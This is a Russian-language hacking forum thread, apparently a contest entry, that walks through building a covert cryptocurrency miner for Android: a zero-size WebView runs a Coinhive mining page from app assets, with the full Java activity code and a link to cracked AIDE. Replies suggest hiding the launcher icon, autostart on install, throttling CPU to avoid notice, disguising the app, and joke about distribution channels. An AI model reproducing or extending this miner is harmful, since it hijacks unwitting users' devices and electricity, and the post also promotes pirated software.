• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Конкурс Скрытый майнер для Андроид

Статья для участия в конкурсена codeby
Все вы наверное слышали о скрытых майнерах на пк, но вы вероятнее всего никогда не слышали о скрытых майнерах на андроид.
Работает это ну очень просто, я поражаюсь, почему, до этого не додумался никто раньше?
В андроиде есть такой компонент, как WebView, он позволяет смотреть интернет-сайты (и локальные)мы и воспользуемся.


1 шаг. Установка ide. Писать наш Майнер мы будем на нашем телефоне. В этом нам поможет AIDE. Единственная среда программирования под андроид и... Собственно на андроид.
Качать нужно взломанную. Файл прикрепил :).
Установили? Дальше.

2 шаг. Создание проекта. Как только зашли в IDE вылезает диалоговое окно.Мы нажимаем "для экспертов".Далее выбираем New Android app. Name - имя приложения. Package name - имя пакета (идентификатор).
Создали? Погнали дальше.

3 шаг. Пишем ui. Его как такого не будет, вы можете придумать что-то своё.
Для начала добавим в main.XML между тэгами linear layout, то есть где-то в середине:
<WebView
android:id="@+id/webView"
xmlns:android=" "
android:layout_width="match_parent"
android:layout_height="match_parent"/>


Добавили? Нажимаем на картину в верху. Откроется редактор ui. Нажимаем на надпись WebView. Атрибуты Layout height и Layout Width стоят в режиме Match parent. (На всё место.) Какой же тогда скрытый Майнер? Сначала разбирается с одним, потом с другим. Везде ставим fixed size 0dp. Это важно. Всё, нашего WebView совсем не видно.


4 шаг. Кодим активность.
Убираем всё, кроме надписи package и собственно имени пакета из MainActivity.java.
Убрали? Добавляем тогда код:

import android.app.*;
import android.os.*;
import android.webkit.*;

public class MainActivity extends Activity {
private WebView mWebView;

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

mWebView = (WebView) findViewById(R.id.webView);
// включаем поддержку JavaScript
mWebView.getSettings().setJavaScriptEnabled(true);
// указываем страницу загрузки
mWebView.setWebViewClient(new MyWebViewClient());
// ссылка
mWebView.loadUrl("file:///android_asset/index.html");
}
private class MyWebViewClient extends WebViewClient
{
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url)
{
view.loadUrl(url);
return true;
}
}
@Override
public void onBackPressed() {
if(mWebView.canGoBack()) {
mWebView.goBack();
} else {
super.onBackPressed();
}
}
}


Добавили? Отлично.
Если у вас что-то кроме того, где написано index.HTML подчеркнётся красным, то удерживайте, вылезает в верху меню, нажмите на него и нажмите на верхнюю надпись.


5 шаг. Настраиваемый пул. Роль пула у нас будет играть coinhive.com (Не реклама.) регестрируемся там, заходим в настройки , и создаём новый sitekey. Название любое. Копируем публичный sitekey и вставляем туда, откуда его можно будет потом скопировать.
Окейя дальше качаем архив "MyWebsite.zip" , в конце прикреплён.
Далее создаём по пути /имя вашего проекта/app/src/main папку assets. Разархивируем наш архив туда, и так, чтобы по пути от папки assets, до файла index.HTML не было других файлов, то есть должно быть так: /имявашегопроекта/app/src/main/assets/index.html .

6 шаг. Настраиваемый программу под пул. Заходим в наш разархированный index.html, там LbaqSUyMtBAT0WliBJh97Z8UZ4VYdIXP меняем на ваш сохраненный публичный ключ сайта.

Далее запускаемых программу и проверяем нагрузку процессора.
P.s не забудьте указать разрешение на интернет в AndroidManifest.xml !!! Как это сделать - в гугл.

Спасибо за прочтение.
Помните, что я не отвечаю за ваши действия.
(Писал статью через телефон, не смог загрузить файлы на сервер форума.)
MyWebsite.zip -
Взломанная AIDE -
 
I

interkoly

Вложения

  • photo_2017-12-11_16-57-04.jpg
    photo_2017-12-11_16-57-04.jpg
    90,3 КБ · Просмотры: 394

cathome

Green Team
26.11.2017
11
5
BIT
0
Вопрос на миллион, а что мешает человеку после установки-удалить? Я думаю это надо с чем то сшить
 
T

Troyan_19

Если у вас что-то кроме того, где написано index.HTML подчеркнётся красным, то удерживайте, вылезает в верху меню, нажмите на него и нажмите на верхнюю надпись
Что то не понял и у меня вылезла ошибка типо в коде есть ошибки какой то Override
 
N

Nlsr

Скажите как пописать нагрузку на цп
 
X

xX_Swag_Kid_Xx

Небольшая проблема.. Можете помочь?
Screenshot_2018-09-22-06-20-29.png
 
R

rhou

Отличное начало дружище. Но он ни разу не скрытый. Давай попробуем доработать. Еще как минимум 4 задачи:
1. Скрыть иконку приложения после установки.
(В манифесте приводим строку в такой вид: <category android:name="android.intent.category.DEFAULT"/> )
2. Добавить в автозапуск во время установки.
3. Ограничить нагрузку на процессор дабы не напрягать пользователя.
4. Добавить иконку и замаскироваться в настройках-->>приложениях

После этого еще разок протестировать и далее писать статью о каналах сбыта )))
 
Последнее редактирование модератором:

DikiyDodik

New member
15.04.2020
1
0
BIT
0
А можешь скинуть полный код, я просто дубина и не понимаю пишет что какие-то ошибки как решить - не знаю
 

Shinobi

Green Team
23.11.2017
76
14
BIT
0
JavaScript:
<WebView
android:id="@+id/webView"
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"/>



JavaScript:
import android.app.*;
import android.os.*;
import android.webkit.*;

public class MainActivity extends Activity {
private WebView mWebView;

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

mWebView = (WebView) findViewById(R.id.webView);
// включаем поддержку JavaScript
mWebView.getSettings().setJavaScriptEnabled(true);
// указываем страницу загрузки
mWebView.setWebViewClient(new MyWebViewClient());
// ссылка
mWebView.loadUrl("file:///android_asset/index.html");
}
private class MyWebViewClient extends WebViewClient
{
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url)
{
view.loadUrl(url);
return true;
}
}
@Override
public void onBackPressed() {
if(mWebView.canGoBack()) {
mWebView.goBack();
} else {
super.onBackPressed();
}
}
}
 
  • Нравится
Реакции: Sosisca и T_E_N_S_H_I

Grifer_FOx

New member
15.08.2020
1
0
BIT
0
Ну вот и чем мешают эти R?!
 

Вложения

  • S01208-20510400.jpg
    S01208-20510400.jpg
    76,5 КБ · Просмотры: 141
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!